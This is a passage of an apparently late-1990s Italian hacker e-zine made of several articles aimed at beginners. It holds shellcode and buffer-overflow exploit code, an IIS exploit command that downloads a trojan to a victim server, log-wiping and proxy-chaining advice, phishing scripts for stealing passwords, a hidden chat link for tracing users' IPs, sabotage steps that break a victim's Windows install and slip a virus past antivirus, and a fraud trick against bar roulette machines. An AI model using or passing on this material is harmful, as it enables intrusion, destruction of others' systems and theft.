volete avere altre tecniche a vostra disposizione studiatevi imap2 e wu-ftp. Cmq se nessuna di queste dovesse funzionare potete sempre segnarvi la versione dell'OS da attaccare, fare un saltino sui siti sopra citati e cercare l'exploit relativo. E ricordatevi che nessun sistema e' sicuro, e ha sempre dei buchi. 1.3) Occultamento La parte in assoluto + importante dell'hacking e' l'occultamento, poiche' se riuscite ad hackerare il sito della NASA (fatemi sapere!!!) ma lasciate le vostre tracce in giro, il giorno dopo verra' l'interpol a casa vostra, e non x una visita di piacere!!! Quindi fate molta attenzione a questa parte, poiche' FoNdAmEnTaLe. Innanzi tutto: siate paranoici. Criptate tutte le info conpromettenti, NON scrivetevi le password di sistemi su fogli o cose simili. Deve essere TUTTO su HDD e tutto criptato. Bene, spero che seguiate questi consigli, poiche' se un hacker + esperto di voi vi entra nel picci'... La prima cosa che farete quando hackererete un sistema e' fare un giretto sul suo sito, x prelevare un po' di informazioni. Ma non vorrete mica andarci con il vostro IP in bella mostra no ?!?!? A questo scopo si usa il proxy server. Esso e' stato creato per ben altri scopi che l'hacking, ma in effetti questo strumento agli hacker e' mooolto utile. In parole povere il proxy funge da intermediario fra la pagina che vogliamo visitare e il nostro picci'. Noi mandiamo i dati al proxy e il proxy li invia al sito. Cosi' l'ip che il sito registrera' sara' quello del proxy e non il nostro!! Attenzione pero': il sito ha l'ip del proxy...ma il proxy ha il nostro ip quindi siamo daccapo. NO! Se noi concateniamo + di un proxy ??? Risultera' una specie di catena.... Inoltre alcuni proxy se visitiamo molti siti cancellano gli indirizzi visitati prima....quindi...beh spero abbiate capito :)))))) I proxy si settano facilmente dal browser. In netscape si setta dal menu "Preferences". Nota: usando i proxy poiche' devo filtrare i dati rallenteranno un po' la connessione. L'equivalente dei proxy il telnet sono chiamati wingate. Voi vi connettete al wingate e digitate l'indirizzo del sistema a cui volete connettervi. Hanno lo stesso modello del proxy. Ok, adesso potete operare in santa pace. Ma una volta che avete prelevato il file delle password, le avete decriptate, e volete operare nel sistema i problemi non sono finiti. Tutto cio' che gli utenti fanno viene registrato in dei file log che sono utmp e wtmp. Ci sono in aggiunta altri file che vi conviene modificare a vostro vantaggio. I file btmp e messanges. Btmp mostra i tentativi di login non andati a buon fine, mentre messanges mostra messaggi di vario tipo....ed e' molto piu' pericoloso di quello che si possa pensare. In generale questi file non sono modificabili dall'utente normale, quindi vi consiglio, una volta ottenuta una shell, di trovare un exploit x rootarla, cioe' x farle avere i permessi di root e quindi in grado di modificare questi file. 2) Varie ed eventuali 2.1) Etica e stile Quando si pronuncia la parola hacker ci viene erroneamente in mente colui che penetra illegalmente in sistemi informatici x rubare informazioni riservate. Un hacker e' proprio la cosa opposta :) Egli tenta si di penetrare illegalmente in sistemi informatici, ma non per rubare informazioni, ma per studiare come questi sono fatti e studiare i buchi che possono avere. Una volta penetrato in quel sistema attraverso un bug del software, il bravo hacker lo fa subito notare al SysAdmin. Ovviamente cosi' dovrebbe essere in teoria, in pratica non avviene assolutamente cosi', poiche' chi penetra in un sistema, si guarda bene dal dire al sysadmin attraverso che bug e' entrato, e tantomeno non sfrutta il suo accesso al sistema. Molti hacker (compreso me) forzano dei sistemi per avere accesso a shell, meglio se di root, per svariati motivi: x mettere IRCBot, per mettere bnc (nel caso dell'accesso root), usare smurf e hackerare, attraverso quelle shell altri sistemi. Ovviamente ogni hacker possiede il suo stile. Chi predilige gli attacchi DoS, chi gli exploit, chi predilige lo sniffing, insomma ci sono infinite tecniche e sceglierete quella che vi aggrada di +. Ho parlato di sniffing...ma cos'e' ? Fare dello sniffing significa rubare informazioni attarverso programmi che loggano, per esempio tutto quello che si digita sulla tastiera, o che rilevano le password e i login e li inviano ad una certa email. Lo sniffing non e' solo ed esclusivamente questo ma diciamo che le basi sono queste. Diciamo pure che e' un'arte a parte, a cui bisognerebbe dedicare tutto un articolo, percui vi rimando a un articolo su di esso. 2.2) Social Engeenering Il S.E. costituisce una parte molto importante dell'hacking. Spiegare cos'e' non e' molto semplice, ma sono sicuro che con un esempio capirete subito. Allora un esempio di Social Engeenering e' spedire un'email ad un utente qualsiasi dicendo di essere un impiegato Telekom e di rispondere all'email inserendo la propria password e il proprio UserID perche' c'e' stato un problema di aggiornamento di database :)) L'utente nel 95% dei casi non capira' che quell'email non e' di un impiegato telecazz ma di un hacker e vi spedira' la UserID e la pass, cosi' voi potrete usare il suo abbonamento per hackare :)) Questo non e' l'unico impiego pratico del social engeenering. Uno molto usato e' far telefonare da una vostra amica ad un abbonato facendosi credere la famosa "signorina della Telekazz" e chiedere le solite userid e pass. Insomma nel s.e. potrete dare sfogo a tutta la vostra fantasia, potrete inventare, simulare....fare quello che volete insomma!!! CoNcLuSiOnI Ok ragazzi, siamo arrivati alla fine di questo articolo, spero di esservi stato di aiuto! Ricordatevi che queste tecniche sono asssolutamente di base e probabilmente anche conoscendole non saranno suffi, E mi rakkomando HACKATTTTEEEEEEE!!!! cya M4VER1CK ͻ Ŀ COME CAMBIARE QUEL BRUTTO START SUL MENUZ AVVIO IN WINZ ٺ ͼ -=-=- come cambiare quel brutto "start" sul menuz avvio in winz -=-=- \/ th1s is ded 2: sempre loro... all my friendz .-++-. music h3ard : NFAA / / \ \ consumed : devo andare a mangiare =) |/----\| used : gvim5 e khexedit on suse6.2 X X a b1g FUCK 2 : Piera Moretti Totaro, bastardissima / ---- \ professoressa di inglese. vi siete mai chiesti come cambiare il testo sul tasto "avvio" di win9x? con start99? un prog che x fare una caxxate occupa 800KB???? e che newbiez siamo allora ?:)) occorrente: win9x/nt(4 o 5) hiew o altro editor esadecimale (hexpert, ghex, khexedit ecc) 3 minuti di tempo come ho fatto a trovarlo? usando start99 hehehe ;) e filemon, un utilissimo prog che si puo trovare su www.sysinternals.com e che xmette di vedere tutti i file che vengono utilizzati da winz :-P ma questo non c'entra :) dicevo... aprite il vostro winx e fate partire l'editor esadecimale e aprite explorer.exe . vi troverete davanti il listato in esadecimale del contenuto del file binario bene.. a questo punto vi verra' in mente di cercare "start".. ma troverete tutto meno che quello che ci interessa. infatti la stringa e' scritta si nel file, ma tra un carattere e l'altro ce' un NUL (00 in hex), quindi nell'editor appare cosi': 00 00 50 41 00 00 00 00 05 00 53 00 74 00 61 00 ..PA......S.t.a. 72 00 74 00 a3 00 55 00 6e 00 61 00 20 00 64 00 r.t.e'.U.n.a. .d. e neppure cercando Sta ecc. troverete nulla, perche' in hex il carattere equivale a 20. quindi dicevamo.. x modificare non bisogna fare altro che sovrascrivere la stringa esistente... bene facciamolo :=) piccola nota: gli "spazi" fra le lettere NON SONO spazi! sono dei NULL... vale a dire 00.. e tali devono rimanere, altrimenti appariranno 5 simpatici trattini al posto del vostro "cazzi" ;) otteniamo una cosa tipo: 00 00 50 41 00 00 00 00 05 00 43 00 61 00 7a 00 ..PA......C.a.z. 7a 00 69 00 a3 00 55 00 6e 00 61 00 20 00 64 00 z.i.e'.U.n.a. .d. uccidendo l'explorer con ctrl+alt+canc (facendo termina applicazione con explorer apparira' la finestra di spegnimento... fate annulla e intanto il "task manager" che gestisce i processi (ps ne capisco poco di proc in win :)) continuera' a tentare di chiudere explorer, ma non riuscendoci dopo 5 secondi apparira' la finestra "termina"... explorer in w9x si spegne e si riaccende, in nt bisogna ricaricarlo a mano col task manager) e ricaricandolo avremo il nostro nuovo menu :) ma se volessimo una stringa +lunga di 5 caratteri? hehehe dicevo nell file e' scritta anche la lunghezza della stringa.. ed e' quel carattere prima del NULL (00) che precede la prima lettera della stringa del menu.. per capirci, questo: || VV 00 00 50 41 00 00 00 00 05 00 43 00 61 00 7a 00 ..PA......C.a.z. cioe' 05.. cos'e' 05 se non il numero di caratteri? :) modificando (in hex) questo numero, potremo mettere fino a FF (256) caratteri (naturalmente x metterne ad ex. 12 non bisogna scrivere 12, ma 0C.. siamo in hex :) per scrivere tutta la stringa che vogliamo ci sono 2 possibilita': sovrascriviamo il messaggio che viene dopo (una delle finestre della shell e' stata chiusa a causa di un errore interno ecc ecc) allunghiamo il file la prima possibilita' e' la + sicura,, io non ho mai visto quell'err e non so come si possa presentare (e si che in win il look degli errori e' importante ;) ma explorer funger regolarmente.. e so che non e' bene modificare la lunghezza di un file compilato,, poi chiedete a qc + esperto di me :) la 2a possibilita' l'ho provata una volta, e oltre al fatto che explorer non aveva + l'icona non ho notato nient'altro... magari se provate su una copia del vostro e mi fate sapere ne sarei felice 0:-] credo non ci sia da dire altro.. su altre stringhe dell'explorer non ho provato, fate voi :) ah... se volete ancora divertirvi potete cercare nel registro "Schede video" e sostituirli con .. che so "dispositivo videospruzzante" e poi mettere "mardox g800 256MB" ;D bene la fame si fa proprio sentire,,, ciao a tutti ! vostro 0xF3A0ED00 vejeta <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> <><><><><><><><> COSA SI PUO' FARE IN UNA WEB-CHAT =) <><><><><><><><> <><><><><><><><><><><><><> X rEaL NEWBIEs <><><><><><><><><><><><><> <><><><><><><><><><><><><><><><><><><><><><><><><>bY F3D3R1[0 <><><><> <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> PREMESSA IMPORTANTE: Sono solo un NewBie se cosi' mi posso definire... ma per essere veramente sincero mi dichiererei un pazzo che vaga nel W&B in cerca di non so cosa ;) Tutto questo per farvi capire di non prendere questo art. troppo sul serio perche' non sono ne un hacker ne cracker ma solo un NEWBIE ;) PARTIAMOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO !!! Innanzi tutto per chattare in una web-chat bisogna sapere un minimo di linguaggio HTML, il linguaggio per costruire pagine W&B, quindi se non l' avete mai sentito dire .... mmhhhh e' meglio se imparate qualcosa altrimenti non potrete capire quello che vi sto per insegnare ... e farete solamente i lamah copiando l'idea ;) Il campo dove operare logicamente sono le chat in formato html ... ma soprattutto direi che l'unica chat che conosco, almeno io, e' quella di Radio DeeJay ... che si trova all' URL: www.deejay.it/cgi-bin/chat e per poterci entrate, secondo i WEBMASTER, dovrete essere registrati ma e' tutta una stronzata!!! ;) FUNZIONAMENTO DELLA CHAT DI RADIO DEEJAY ;) ___________________ | | | 1 | | | |__________________| | __ __ __ | | |2_| |3 | |4_| | | ______________ | | |______5_______| | | _________ __ | | |____6____| |7_| | | _____ | | |__8__| | |__________________| Legenda: 1=spazio dove ci sono i messaggi scritti 2=spazio dove mettere il proprio nick 3=spazio per la password "obbligatoria" ;) 4=spazio da cui si selezionano i messaggi visibili ad ogni aggiornamento 5=spazio dove scrivere i messaggi 6=spazio che si chiama "pseudo che vedranno gli altri" ma in questo spazio dovremo mettere i TAG HtmL per abbellire i messaggi o per usare qualche strategia in HtmL =) 7=tasto aggiorna 8=tasto da cui si puo' scegliere di andare in aree diverse e di chattare con altre persone. da scegliere c'e' area1 e area2. molte e' ?! :)) Ok comiciamo ... per potere tracciare degli ip in una chat del genere non dovete fare altro che fare un collegamento "involontario" ad una pagina web predefinita che un prog monitorera' e rendera' visibili gli ip che la hanno visitata... -------------------------- Nota Importante -------------------------- Ricordate pero' che questo modo di tracciare ip non e' perfetto... ma ha un grande difetto che ancora non sono riuscito a modificare ed ora ve lo spiego... Quando la vittima visitera' il link non gli apparira' una normale pagina con su scritto 404 error page not found ma una pag con un link verso la homepage del prog SambarServer ... quindi se e' uno che ci capisce qualcosa o ha un minimo di curiosita' vi scoprira' subito ma non potra' farvi niente dato che non ha nessuno dato su di voi... quindi non cacatevi in mano... ;) non vi puo' succedere niente -------------------------------- Fine ------------------------------- I programmi che ci aiuteranno a far cio' sono 2 ( per quel che riguarda scoprire l'ip e il proprietario) e si chiamano: SAMBAR SERVER v.4,2 : E' un prog che va installato e apre un "server" su un ip prestabilito dal prog che viene scritto nella finestra e sara' quello l'ip dove saranno dirette le prede(contorto eh? vabbe' ho 6 a ita) VISUALROUTE: Ci da delle utili informazioni su un ip da noi immesso (va benissimo anche quelsiasi altro programma che ci dia la possibilita' di sapere info utili su un ip) Detto questo iniziamo con la pratica!!! forse ora si capisce ;) Aprite il SAmbarServer e segnatevi l'ip ... poi andate in chat e nel campo chiamato Pseudo che vedranno gli altri dovete mettere 2 tag ( instruzioni in HtmL ) che ci permettano: 1)di mandare ad un url la vittima 2)fare in modo che non si accorga di andare in un link 3)fare in modo che il link si apra solo con il passaggio del mouse grazie al TaG "OnMouseOver" per farlo dovremo scrivere questo tag: __________________________....- inizio -...._________________________ passate il mouse sulla scritta! __________________________.....- fine -....._________________________ copiato il tutto comiciate ad aggiornate continuamente in modo da far apparire quel messagio + volte possibili nella pagina ... ci si casca mejo cosi'!!! ;) ok... aspettando che qualcuno passi il mouse sul messaggio invisibile (nero come il background ;) mettete in primo piano il Sambar in modo che appena uno visita la pagina viene il suo ip nella finestra... poi prendere quel simpatico numerino ;) e fate cio' che volete ... cioe' non proprio tutto!! io vi proporrei di scoprire chi e' il propietario e magari dirgli che problemi ha il suo hd oppure entrare nel suo sistema e coltivargli su un server in vista di una futura e sicura visita... ;) Oppure fate cosi' che non e' molto faticoso e facilissimo da fare ed e' pure divertente !!! ;) (sono proprio un lamah !!! ;))) Fate un visualroute su l'ip della vittima e cercate di scoprire piu' informazioni possibili... e poi con una bella faccia a culo, aiutati da un amico o da soli, entrate con un altro nick in chat e fate delle domande basate sui date che avete raccolto prima... sempre che siano giusti ;) e scoprirete il possessore dell' ip che avete trovato ... facile no?! Una volta scoperto non comiciate a fare i LamAh nukkando floodando etc.etc. ma cercate di "acculturarvi" su quel sistema e mi raccomando... NON FOTTETE NIENTE O FORMATTATE!!! SE LO FATE PER ME SIETE SOLI DEI LURIDI LAMAH !!!!!!!!!!!!!!!!!!!!!!!! Ok e' finito... ;) anche se: 1) non ci avete capito niente 2) non ve ne e' fregato un cazzo ;) 3) vi ha fatto veramenteeee cacare 4) pensate che sono un lamah io ce l'ho messa tutta per spiegarvi in modo piu' chiaro questo facile modo di tracciare e spero che lo proviate ... e mi raccomando ... state attenti al TEAM sono cattivi con chi fa casini e voi non volete farne vero?!? ;) Ed oRa PassIaMo Ai SaLuTI: SpeCiaL SaLuTOnE Al BaStArDOnE cHE mI HA cErCAt0 Di fORmATTaRE l'HD ;( ImPArA pRiMa dI fARe lE cOSe ... pU0i nON fARmI vEDeRe cHE fORmAtTI!!! Saluti f0tTuTI a: tutti quelli che takkano continuamente i canale irc #hackernow #hackers #warez #arezzo + molti altri e a tutti quelli che mi considerano un lamah!!! prima di scrivere questo articolo (ora lo potete fare ;) Saluti c0sICoSi' a: Tutti quelli che non mi cagano quando faccio delle domande e a Guf0Z che mi da sempre del lamer ;) Saluti AMiChEVoLi a: tutti quelli che stanno in #hackernow non solo x PRENDERE IP FACILMENTE ;) ma anche per chattare e scambiare idee e commenti, tutti quelli che sono nei canali: #cdrita #arezzo #mp3.it e in molti altri in cui non ricordi di essere stato, tutti i BbB (ciao PeterPunk!!!), tutti quelli del TeAm, e poi per ultimo lascerei un salutone mega speciale CIAO NOBODY E ZERO !!! SIETE MITICI CONTINUATE COSI' !!!!!!!!!!!!!!!!! ͻ Ŀ GOCCIA A GOCCIA...IL VASO TRABOCCA ٺ ͼ Bwahahaha....sto articolo mi gasa proprio !!! Domanda da 1.000.000 di $ : ma Che aZzO e' un buffer OverfLow ? Dantuccio answers : Read....and u'll knoW ! :Pp **Addon da fine articolo** Prima di scrivere questo articolo non avevo letto quello di BFI6 di SirCondor avente lo stesso topic...ritengo che cmq il mio articolo non possa essere considerato un plagio o una scopiazzatura e cmq e' di livello tecnico decisamente + basso dato che e' rivolto ad un pubblico di newbie o wannabe...come si suol dire...tutto qui' Thi4 4rT i$ DeD t0 : Pollicina.....aZZ...grazie di sopportarmi!!! e lalli82 la "cifeide"....spero di sentirti presto :Pp Il mio caro amico t^Ek...la sua sorellina Ale(tvb!)..Amed..Antonio...Marea..il criceto e compagnia bella...grazie per i 4 splendidi giorni a Roma...m'avete fatto sentire come un fratello...TnX ancora ! Th|5 ArT |$ Vs-D3D 2 : -Il vil danaro che tutto, ahime', puote...anche vietare lo smau ! :( -La febbricula con tonsillite 2 giorni prima di andare a Roma....argh..(impavido ci sono andato lo stesso) **"Finding and exploiting programs with buffer overflows" by prym** **Traduction by DanTino AlighiErUcc|o :Pp** Una delle techinche + usate per guadagnare l'accesso da root e' l'overflow. Semplicemente in un programma non facciamo altro che trovare dove un'indefinita lunghezza di dati specificabile dall'user e' copiata in una definita. Capiamoci meglio....esempiuzzo :Pp char *ptr; char visual[1024]; - (definibile dall'user) sprintf(visual, "%s %s", ptr, file); - (ptr(lunghezza indefinita) e' copiata - nella visibile (lunghezza definita) In questa funzione causeremo un buffer overflow. Quello che succede in pratica e' che noi settiamo la visibile con un qualcosa di + grande di 1024. Il programma notera' che il ptr e il file insieme non sono + grandi di 1024 quindi cerchera' di eseguire "sprintf" e quando questo succedera' esso sara' + grande di 1024 e cio' causera' un buffer overflow. :Pp Inanzi tutto dobbiamo predefinire la visibile a qualcosa di + largo di 1024. Lo facciamo ma lo settiamo + grande di 1024 e lo facciamo con un codice macchina e il comando (/bin/sh). L'esempio usato fara' girare con l'editor qualsiasi programma settato. Di solito pico...ma + in generale vi. Dovremmo quindi scrivere un programma di questo genere: #include - Vabbu'...si mettono sempre :Pp #include #include #include #include #define PATH_CT "/usr/bin/program" - definiamo la patch del programma - che vogliamo colpire u_char shell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; u_long esp() { __asm__("movl %esp, %eax"); } -Codice macchina che sara' eseguito quando il programma sara' in overflow -e che dira' al sistema di eseguire /bin/sh main() - funzione principale { - apri u_char buf[2048]; - definisci cosa sara' visibile u_long addr; - usato per il codice macchina int i; - usato per i loop strcpy(buf, "/usr/bin/pico; "); - fai partire cio' che sara visualizzato con pico - cosi' sembrera' normale addr = esp() - 192; for (i=16; i<128+16; i+=4) *((u_long *) (buf+i)) = addr; for (i=128+16; i<1040; i++) buf[i] = 0x90; for (i=0; i iishack.exe Trojan --> ncx99.exe Sito web --> www.miosito.com Vittima --> www.target.com Incominciamo: aprite il vostro prompt del dos e posizionatevi nella directory dove avete l'exploit. (nel mio caso C:\) ok, ora basta scrivere: C:\iishack www.target.com 80 www.miosito.com/ncx99.exe 80 e' la porta dove e' in ascolto il demone http del server vittima. Ricordatevi di non mettere "http://" davanti agli indirizzi!!! Adesso aspettate qualke secondo in modo che il trojan venga scaricato sul server vittima e poi digitate telnet www.target.com 99 WOW! siamo dentro! ora sta tutto alla vostra fantasia. :)) Un saluto a tutti quelli di newbies ed a tutti gli SPP. :) AX1S %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% COME FAR DIRE IL ROSARIO ALL'UTENTE DI WINDOWS %%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Consumo: Aria + acqua Musica ascoltata: MTV Kitchen + Saluti: al sempre mio + grande amico Bug Gates e al suo sistema operativo che e' piu' vicino ad un allevamento di vermi che a un OS. Dediche: alla mia amica Marzela, che dovrebbe lasciar stare quel nanetto che si diverte a dirsi grande hacker solo perche' sa usare nuke e che crede che una shell sia il distributore sotto casa... :)))) ============================ DISCLAIMER =================================== Il materiale seguente e' a solo scopo informativo, non mi riterro' responsabile dei danni che farete sui computer altrui o, se siete stupidi, sui vostri. Ricordatevi: Io non c'ero, non ho fatto niente, non ho visto niente e se c'ero stavo trombando !! :))))) ============================================================================ Salve a tutti. Chissa' quante volte avrete pensato a come sarebbe divertente vedere il nostro lamerone di turno che usa Winkaz iniziare a dire il rosario a causa del solito schermo blu o ad una delle tante inchiodate di questo fanatastico OS. Bene in questo articoletto cerchero' di spiegarvi come dargli una mano a diventare un buon cristiano. PUNTO 1: I FILE DI AVVIO Prima ancora del caricamento vero e proprio di Winspazzatura il computer cerca nella directory di C:\ due file indispensabili che gli servono per l'avvio: l'autoexec.bat e il config.sys . Vedo gia' i vostri occhi che si illuminano. Infatti provate a dire cosa potrebbe succedere se li modificate un po' o, ancora + bastardamente, li eliminate del tutto ? Il caro Winshit non parte e il nostro caro utente dovra' spendere 100 carte da mille dal tecnico di fiducia per riparare il danno. Se invece siete bastardi ma non fino a questo punto bastera' creare un file contenente le seguenti righe e chiamarlo ad es. fuck.bat con un editor: ---- cut ---- md fuck cd fuck fuck.bat ---- cut ---- aggiungete poi all'autoexec.bat una riga con scritto "fuck.bat" (senza gli apici) e il povero utente al successivo avvio vedra partire un ciclo infinito di inscatolamento di directory e anche qua sono almeno 100.000 che partono. PUNTO 2: LE DIRECTORY FONDAMENTALI Nel nostro amato OS ci sono almeno due cartelle che sono fondamentali per il suo funzionamento. Come avrete apito sto parlando di C:\WINDOWS e di C:\WINDOWS\SYSTEM . Pensate ora a cosa succede se ritocchiamo un po' queste dir..... il caro Winpattumiera non si avviera' o dara' un fracco di errori x la mancanza dei file. Una cosa elementare da fare e' rinominare le dir, questo pero' e' abbastanza facile da rimediare in quanto il nostro lamerone riavvierebbe in modalita' ms-dos e potrebbe rimettere a posto le cose. Se invece ni ci sentiamo molto bastardi bastera' guardarsi una tabella dei codici ascii e trovare il carattere "blank" ,quello invisibile. Rinominate la dir lasciando uguale il nome ma aggiungendo il carattere sopracitato. Adesso voglio vedere il nostro amicone quando all'avvio leggera' "file o cartella inesistente" e facendo un C:\>dir notera' che la cartella e' al suo posto.... Se invece non siete amanti delle finezze fate tabula rasa delle dir... e avrete un nuovo amico cattolico. :))))) PUNTO 3: IL REGISTRO DI CONFIGURAZIONE Come spero saprete il caro Winpollo ha tutte le info che gli servono per andare in un file chiamato registro di configurazione. Anche qui ci sono diversi modi per uccidere il caro OS. Oltre alla banale cancellazione del file, cosa efficace ma senza stile, si puo' navigare tra le chiavi con il REGEDIT fino a trovare il punto in cui ci sono le assegnazioni dei tipi di file ai programmi (cioe' .mp3 a Winamp, .bmp al Paint, .doc a Word etc. etc. ), cercate la chiave di assegnazione degli .exe e cambiatela a vostro piacere, indirizzandolo verso un altro prog che non sia l'explorer. In questo modo Wingallina quando cerchera' di far partire un eseguibile chiamera' il programma che gli avete detto e qui si piantera' perche' non riesce ad avviarlo. Se il nostro utente volesse poi mettere a posto le cose non potra' perche' il REGEDIT e un .exe e non si avviera' manco a pagarlo: un altro cristiano in chiesa con 500.000 in meno nel suo portafoglio. PUNTO 4: VIRII & COMPANY Volete mettergli un bel virus pero' il vostro caro amico ha uno di quei fantastici tool che si caricano in memoria all'avvio ? Niente di piu' facile da bypassare. Infatti questi cari antivirus si caricano durante la sequenza di avvio con una riga inserita nell'AUTOEXEC.bat quindi se voi mettete il collegamento al virus prima della chiamata all'antivirus... il gioco e' fatto ! Se siete degli abili programmatori potreste anche simulare il caricamento dell'antivirus in modo che non si carichi un tubo se non il vostro viruz. Se avete una buona immaginazione avrete capito che in questa maniera gli potrete caricare in memoria tutti i trojan che volete senza che nessuno se ne accorga..... Bene per stavolta e' tutto... per qualsiasi problema mandate una e-mail a the1n7rud3r@freemail.it e ricordate: LINUX RULEZ !!!!!! :)))) by The_Intruder ############################################################################### NOTA BY N0bodY88 = il seguente file lo pubblichiamo con il permesso del l'autore (Jenji) e ovviamente del grande Avatar666 (abbiamo chiesto anke lui dato che tale file faceva e fa tuttora parte del Cookbook di Avatar che potete trovare sul sito degli Spaghetti Phreakers (colgo l'occasione x salutare Harlock e Blinking e tutta la crew del nuovo LUG della loro citta', CDP (detto l'onnipresente) e ovviamente il (poco visto purtroppo) mito Blum (xche' non rispondi alle mie mail???). ͻ Ŀ BUG DELLE ROULETTE DA BAR ٺ ͼ N.B. QUESTO FILE E' DA RITENERSI A TITOLO PURAMENTE INFORMATIVO, PERCIO' IO, AVATAR, DECLINO OGNI RESPONSABILITA' DALL'USO CHE POTREBBE ESSERNE FATTO. NON INCORAGGIO, DUNQUE, CHI VOLESSE SERVIRSENE PER SCOPI ILLEGALI. STESSA COSA VALE X I REDATTORI DI NEWBIES E TUTTO IL NEWBIES STAFF u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u' IL POSSESSO DI QUESTO FILE E' COMUNQUE DEL TUTTO LECITO. u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u' -!!!- BUG DELLE 'ROULETTE DA BAR' -!!!- u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u'u' Autore: Jenjy Consumo: 3 ore di sonno, 3 bicchierini di limoncino. Musica Ascoltata: Black Sabbath, Iron Maiden, Metallica. Saluti a: Lo pi', Zoe, Gianni, Fantaman,Falasco',Giorgio D, e UN SALUTO SPECIALE A SILVIA C. di Jesy. Da circa un anno a questa parte, i bar e le sale giochi sono caratterizzate dalle ormai consuete macchinette da gioco. In particolare Slot-machine, Poker e ROULETTE elettroniche. Voglio parlarvi proprio di quest'ultime. Il funzionamento e' abbastanza semplice, ma per chi non ne fosse a conoscenza lo spieghero'. La roulette accetta soldi 1000, 5000, 10000, 50000. Ad esempio quella dal caffe' sotto casa trasforma le 10000 Lire in 100 punti giocabili. Dopo aver puntato la somma o una parte di essa, si puo' decidere di ritirare il premio sottoforma di Ticket, che si possono cambiare dal gestore del bar in denaro o Consumazioni. Questi Ticket escono da una fessura in basso al gioco. Volete vincere un po' di soldi in maniera facile ????? Seguitemi con attenzione !!!! Inserite 10000 Lire nella macchinetta. Ora puntate la meta' dei vostri punti sul colore Rosso, e l'altra meta' sul colore Nero. In entrambi dei casi (Tranne che nel verde) ritornerete al punto di partenza, con i vostri bei 100 crediti (10000 Lire) sul display. Adesso verra' la scritta "VUOI RITIRARE IL PREMIO ORA?" spostate il Joystick sul SI ma non premete niente. Adesso cercate l'interruttore per far spegnere la Roulette (di solito SOPRA il gioco). Adesso (ATTENZIONE !!!!) Premete SI e IMMEDIATAMENTE dopo spegnete la macchina !!! Intanto avete ritirato il vostro bravo TICKET !!!!!!!! Quando dico IMMEDIATAMENTE intendo dire CONTEMPORANEAMENTE dopo aver premuto SI. Ora riaccendete la macchina. Essa dopo aver fatto il test video e dei colori ricarichera' il gioco !!!! E, MAGIA, ci sono ancora i vostri 100 punti !!!!! ;) Qualcuno di voi pensera' "Ma non li avevamo ritirati prima ?" Dopo ne riparleremo. I 100 punti che avete sono "VIRTUALI" ossia non potete Ritirarli, ma potete sempre giocarli per tentar di vincere ancora !!!! Qui dovete aver un po' di culo e dovete saper amministrare il gioco e i rispettivi punti !!! Quando arriverete a 200 punti o piu' e ritornera' la scritta per il ritiro del premio ora ritirate normalmente dicendo di SI. Ritirerete il punteggio sul display - i 100 punti virtuali. Ad esempio se sul Display c'e' scritto 400 punti (40000 Lire) ritirerete solamente 300 punti ossia 30000 Lire, perche' come dicevamo prima i 100 punti sono virtuali, ossia non potete ritirarli, ma potete sempre puntarli per vincere altri punti che poi pero' potranno essere ritirati. >Spiegazione DETTAGLIATA< Dopo circa 3 giorni di studi sono arrivato a una conclusione. Innanzitutto premetto che la macchinetta e' provvista di una memoria EEPROM su cui vengono salvati il punteggio ad ogni variare di esso, per non venire incontro a inconvenienti del tipo se va via la tensione. Ad ogni accensione della macchinetta tramite l'apposito interruttore. Il software carica dalla EEPROM il punteggio. Fino a qui tutto OK. Cio che e' molto interessante e' la priorita' che il software assegna a due diverse procedure durante il ritiro del premio. Queste due procedure sono rispettivamente LA FUORIUSCITA DEI TICKET e la CANCELLAZIONE DEI PUNTI DALLA MEMORIA. La gestione delle due vengono eseguite in fattore del tempo nella sequenza sopraccitata. Avendo un tempo di qualche centesimo di secondo tra la prima e la seconda operazione, togliendo tensione impediamo che il software vada a cancellare il punteggio della memoria EEPROM. L'errore e' di tipo concettuale , ossia l'esecuzione errata delle due procedure da parte del software. Be' ringraziamo i Programmatori !!!!!!!!!! :) PS: Ultimamente ci sono in giro macchinette "Les Fiches", in cui per ritirare il premio, dovete effettuare un piccolo giochino tipo SPACE INVADERS, per ritirare il premio, in cui i punti vengono decrementati un po' alla volta. Mi dispiace per voi, ma non credo che con questo metodo, la macchinetta sia Exploitabile. :( Io personalmente in un giorno ci ho rimediato 40000 Lire. Non sono miliardario ora, ma fanno sempre comodo 40 sacchi in tasca. ;) Vi ricordo che mi interesso anche di Phreaking, Hacking, Viring e Cracking. Se volete contattarmi potete farlo presso il mio indirizzo E-Mail: marco2@cronosnet.com GRAZIE A "Jenji", L'AUTORE DI QUESTO FILE... by AVA666 u'u'u'u'u'u'u'u'u'u' PS: grazie ancora a Jenji ed Avatar forever our friends :D ͻ Ŀ FOTTING ٺ ͼ Autore: mR_bIs0n Consumo: ho appena finito di pranzare... Musica ascoltata: Marilyn Manson - Antichrist Superstar - The Album RadioHead - Karma Police (live) Jamiroquai - Canned Heat Vengaboys - Varie... Shania Twain - That Don't Impress Me Much Tempo atmosferico: nuvoloso Alla Playstation: mio fratello Alla TV: Bim Bum Bam - "Holly e Benje" (quelli ke 